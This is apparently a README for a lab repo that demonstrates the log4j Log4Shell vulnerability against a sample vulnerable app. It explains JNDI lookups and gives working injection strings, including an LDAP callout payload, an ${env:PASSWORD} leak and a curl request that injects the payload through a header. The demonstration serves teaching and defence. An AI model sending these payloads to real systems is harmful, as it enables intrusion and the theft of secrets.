This repo has a working sample of abusing the recent log4j exploit. It does not perform actual remote code execution, but shows you the ease at which a bad actor can have a vulnerable application call out to its own ldap server.
This uses the excellent log4j sample vulnerable app created christophetd: https://github.com/christophetd/log4shell-vulnerable-app
This vulnerability abuses the lookup
functionality of log4j, specially the jndi
which allows log4j to perform lookups from external hosts for data to input. This can be exploited to do anything from logging sensitive variables in the environment to executing code remotely.
Lookups are done for any text wrapped in ${}
when the logger is called. For example,
${jndi:ldap://someldapserver:1389/o=example}
would do a lookup on that LDAP server with the given query and output the result.
A more simple example that doesnt make use of jndi, but is still dangerous:
${env:PASSWORD}
This would print the contents of that environment variable into logs. Someone then with access to view those logs could extract sensitive data from the application.
The code in log4j for this exploit to be abused is pretty straightforward. You just need to call the logger to log a given request property unsanitized. For example, you could log the contents of a User-Agent
.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
First, build the local ldap server:
docker build -t ldapnode .
Once built, bring up the whole stack by running
docker-compose up
Then, you can perform a request to the app, using the x-api-version
header to inject the lookup
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
Using that request, you will see in the docker-compose logs, the ldap server will have been called:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Please see this documentation for resolution paths